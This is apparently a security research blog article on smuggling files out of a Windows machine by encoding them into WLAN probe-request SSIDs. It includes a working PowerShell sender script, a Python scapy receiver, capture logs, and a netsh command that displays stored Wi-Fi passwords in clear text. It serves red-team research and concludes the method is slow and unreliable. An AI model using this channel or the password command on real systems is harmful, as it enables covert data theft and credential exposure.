Security Testing
Tomaso Vasella
Wireless Local Area Networks (WLANs) are defined in the IEEE (Institute of Electrical and Electronics Engineers) standard IEEE 802.11-2020
In the IEEE Standard 802.11, the term Service Set is defined as a group of network devices that communicate wirelessly with each other using a common Service Set Identifier (SSID). The SSID is most often used as a human readable identifier of wireless networks. According to chapter 9.4.2.2 of the IEEE standard, a SSID may be between 0 and 32 octets (bytes) long and it usually contains ASCII or UTF-8 encoded characters (which also allows to defined emoji SSIDs). Although the standard defines the maximum length of an SSID, it does not specify that these bytes must represent readable characters. Accordingly, in principle any data can be used as SSID, although not all network devices can correctly handle data that does not represent readable characters.
A network device that wants to connect to a wireless network must know its SSID. Available WLAN networks can be found passively or with active probing. With passive detection, the network device waits for beacons that announce the presence of a wireless network; with active detection, the device itself sends probe requests, which can be answered with a probe response. The beacons and the probe requests are WLAN management frames, they are not encrypted and contain the SSID. Devices such as cell phones or laptops usually remember the SSIDs of wireless networks to which they were once connected and then regularly probe their availability. This can be abused to identify devices, since the list of network identifiers they store is usually unique to each device and it is very easy to read such probe requests. It is also possible to connect to a wireless network by specifying its SSID, for example, if the desired network does not announce its presence with beacons.
To be able to capture data in wireless networks, a WLAN adapter that supports monitor mode or RFMON mode is required. Without monitor mode, data could still be captured, however, the WLAN management frames that are required for this experiment would be missing. In the following examples, an Edimax USB WLAN adapter and a Raspberry Pi 3 running Linux were used for capturing.
Identify the available WLAN devices:
[root@pi ~]# iw dev phy#0 Interface wlan0 ifindex 3 wdev 0x1 addr 74:da:38:5e:28:d4 type managed txpower 20.00 dBm
Monitor mode can be activated with the following commands:
[root@pi ~]# ip link set wlan0 down [root@pi ~]# iw wlan0 set monitor control [root@pi ~]# ip link set wlan0 up [root@pi ~]# iw dev phy#0 Interface wlan0 ifindex 3 wdev 0x1 addr 74:da:38:5e:28:d4 type monitor channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz txpower 20.00 dBm
Alternatively, tcpdump
can be used with the option -I
to activate the monitor mode. The following command can be used to capture and read probe requests of wireless devices. The SSIDs that are probed by the devices are displayed in parentheses:
[root@pi ~]# tcpdump -l -I -i wlan0 type mgt subtype probe-req tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes 16:17:29.799453 311849621us tsft 1.0 Mb/s 2412 MHz 11b -74dBm signal antenna 0 Probe Request (UPC1347F35 5ghz) [1.0* 2.0* 5.5* 11.0* Mbit] 16:17:48.053735 330104063us tsft 1.0 Mb/s 2412 MHz 11b -84dBm signal antenna 0 Probe Request (WDF) [1.0 2.0 5.5 11.0 Mbit] 16:18:08.271175 350321249us tsft 1.0 Mb/s 2412 MHz 11b -84dBm signal antenna 0 Probe Request (Swisscom_Auto_Login) [1.0* 2.0* 5.5* 11.0* Mbit] 16:18:40.048871 382098628us tsft 1.0 Mb/s 2412 MHz 11b -72dBm signal antenna 0 Probe Request (UPC1347F35 5ghz_2GEXT) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 16:18:42.056611 384106457us tsft 1.0 Mb/s 2412 MHz 11b -80dBm signal antenna 0 Probe Request (Swisscom_Auto_Login) [1.0* 2.0* 5.5* 11.0* Mbit] 16:19:46.313880 448363889us tsft 1.0 Mb/s 2412 MHz 11b -82dBm signal antenna 0 Probe Request (zvv2) [1.0* 2.0* 5.5* 6.0 11.0* 12.0 24.0 36.0 Mbit]
As we have seen above, SSIDs can be user defined, causing a network device to send probe requests containing this SSID, and it is very easy to capture and read these requests and the contained SSIDs. This means that all that is needed for a successful data transfer is the following:
According to the specification, such a block may have a maximum length of 32 bytes, but may contain any data. In a first attempt the raw bytes of the data to be sent were written directly into the SSIDs. However, it was found that using bytes that do not have an ASCII or Unicode representation resulted in data loss, presumably due to driver limitations on the sender or receiver side. For this reason, it was decided to encode the data with Base64, although this has the disadvantage of increasing the data size considerably.
To simulate a realistic case, a Windows 10 installation was used as sender. Windows stores information about wireless networks in WLAN profiles that can be exported and imported as XML files. WLAN profiles can be displayed and managed on the command line with the netsh
command:
PS C:\> netsh wlan show profiles Profiles on interface Wi-Fi: Group policy profiles (read only) --------------------------------- <None> User profiles ------------- All User Profile : WLAN-37CV3P All User Profile : Fon All User Profile : MikroTik-1CX987 2 All User Profile : MikroTik-1CX987 All User Profile : Swisscom_Wifi All User Profile : FRITZ!Box F840 HC All User Profile : Swisscom-GUEST-1
Note: Passwords stored in WLAN profiles can be displayed with the command netsh wlan show profiles name=<name> key=clear
.
To use the command line to connect to a wireless network that has not yet been saved, a corresponding profile has to be defined first. It has the following structure:
<?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>Profile Name</name> <SSIDConfig> <SSID> <name>SSID</name> </SSID> <nonBroadcast>true</nonBroadcast> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>manual</connectionMode> <MSM> <security> <authEncryption> <authentication>open</authentication> <encryption>none</encryption> <useOneX>false</useOneX> </authEncryption> </security> </MSM> </WLANProfile>
These profiles can then be imported for subsequent use:
netsh wlan add profile filename=profile.xml
An attempt can now be made to establish the connection:
netsh wlan connect name="Profile Name"
These steps can be executed with a freely definable SSID, whereby the latter command causes Windows to send the desired probe requests. The experiment showed that about three or four probe requests are always sent, which turned out to be useful with regard to the reliability of the data transmission.
Armed with this information, the following Powershell script was developed. It compresses the file to be transferred and then automates the creation of the WLAN profiles and the connection attempts. For each data block, a new WLAN profile is temporarily created and then an attempt is made to connect to this profile, which triggers the desired probe requests.
# Name of the created WLAN profiles $profileName = "WLAN-1CE987" # prefix to identify our own chunks / probe requests. Could also use MAC address and save 2 bytes. $magic = ":)" # start data identifier $sod = "SOD" # end data identifier $eod = "EOD" $file = $args[0] $bytes = [System.IO.File]::ReadAllBytes("$file") [System.IO.MemoryStream] $memStream = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream $memStream, ([IO.Compression.CompressionMode]::Compress) $gzipStream.Write( $bytes, 0, $bytes.Length ) $gzipStream.Close() $memStream.Close() $bytesCompressed = $memStream.ToArray() $b64 = [System.Convert]::ToBase64String($bytesCompressed) $split = $b64 -split '(.{30})' | Where-Object {$_} $WirelessProfile = @' <?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>{0}</name> <SSIDConfig> <SSID> <name>{1}{2}</name> </SSID> <nonBroadcast>true</nonBroadcast> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>manual</connectionMode> <MSM> <security> <authEncryption> <authentication>open</authentication> <encryption>none</encryption> <useOneX>false</useOneX> </authEncryption> </security> </MSM> </WLANProfile> '@ $tempProfileXML = [System.IO.Path]::GetTempPath() + [Guid]::NewGuid().ToString() + ".xml" Write-Host -NoNewline "Sending $($split.Count) data chunks" $WirelessProfile -f $profileName, $magic, $sod | Out-File $tempProfileXML netsh wlan add profile filename=$tempProfileXML *> $null netsh wlan connect name="$profileName" *> $null Foreach ($chunk in $split) { Write-Host -NoNewline "." $WirelessProfile -f $profileName, $magic, $chunk | Out-File $tempProfileXML netsh wlan add profile filename=$tempProfileXML *> $null netsh wlan connect name="$profileName" *> $null } $WirelessProfile -f $profileName, $magic, $eod | Out-File $tempProfileXML netsh wlan add profile filename=$tempProfileXML *> $null netsh wlan connect name="$profileName" *> $null Write-Host "Done." netsh wlan delete profile name="$profileName" *> $null Remove-Item $tempProfileXMLEmpfänger
On the receiver side, data capturing and reading was implemented with Python and the library scapy. Scapy allows to capture network traffic and offers the possibility to execute a function (callback) for each received packet, so it is ideally suited for the intended purposes. For our application only probe requests are interesting, these can be filtered out with a suitable filter instruction. Similar to tcpdump, Scapy uses the BPF syntax for the filter rules.
#!/usr/bin/env python3 print('Initializing... ', end='', flush=True) import codecs import base64 import gzip from scapy.all import sniff, Dot11ProbeReq iface = 'mon0' magic = ':)' sod = 'SOD' eod = 'EOD' outfile = 'outfile' last_ssid = '' cnt = 0 buf = '' def handler(p): global last_ssid global cnt global buf ssid = codecs.decode(p[Dot11ProbeReq].info, 'ascii') if ssid.startswith(magic) and ssid != last_ssid: last_ssid = ssid if ssid == magic + sod: buf = '' cnt = 0 print("Got start of data, recording data", end='', flush=True) elif ssid == magic + eod: print(f"\nGot end of data after {cnt} chunks. Writing to {outfile}.") try: with open(outfile, 'wb') as of: of.write(gzip.decompress(base64.b64decode(buf))) except Exception: print(f'Error decompressing/writing data. Incomplete transfer?') buf = '' cnt = 0 else: print(".", end='', flush=True) buf += ssid[2:] cnt += 1 if __name__ == "__main__": print('Ready, listening for probe requests.') sniff(iface=iface, filter='type mgt subtype probe-req', prn=handler, store=0)
Reading data on the receiver side then looks like this:
[root@pi ~]# tcpdump -l -I -i wlan0 type mgt subtype probe-req tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes 17:15:35.896536 3797924875us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:35.947552 3797975842us tsft 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:35.964723 3797993055us tsft 1.0 Mb/s 2412 MHz 11b -52dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:38.133580 3800161690us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)H4sIAAAAAAAEAI2X9VfTjePF34xwE5) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:38.201369 3800229475us tsft 1.0 Mb/s 2412 MHz 11b -52dBm signal antenna 0 Probe Request (:)H4sIAAAAAAAEAI2X9VfTjePF34xwE5) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:39.332881 3801360989us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:39.380217 3801408295us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:39.397404 3801425508us tsft 1.0 Mb/s 2412 MHz 11b -50dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:41.958555 3803986634us tsft 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (:)gICkDEVCWmDSHSJsSvmAdIiEjO6SGl) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit] 17:15:42.005754 3804033835us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal antenna 0 Probe Request (:)gICkDEVCWmDSHSJsSvmAdIiEjO6SGl) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
The experiment proved to be surprisingly successful, data could be transferred easily and without data loss (comparison of the hash values) when conditions are suitable. However, the speed is very modest, transfer rates of only 11 – 12 bytes per second could be achieved. Transferring a 3.5 KB file took over 5 minutes. The main reason for this is probably the time Windows spends trying to connect to the automatically generated WLAN profiles. For test purposes, the connection commands were automatically terminated after 500 milliseconds instead of waiting until they were finished; this accelerated the process nicely, but resulted in considerable loss of probe requests and thus data loss.
It was also found that the transmission is susceptible to interference: A Bluetooth headset located directly next to the receiver led to the loss of individual data packets or probe requests.
In summary, this method is rather impractical for real Red Team tests because it is too slow and too interference-prone. However, for small amounts of data or in special cases, it could be a useful although somewhat cumbersome option.
We are going to monitor the digital underground for you!
Tomaso Vasella
Tomaso Vasella
Tomaso Vasella
Tomaso Vasella
Our experts will get in contact with you!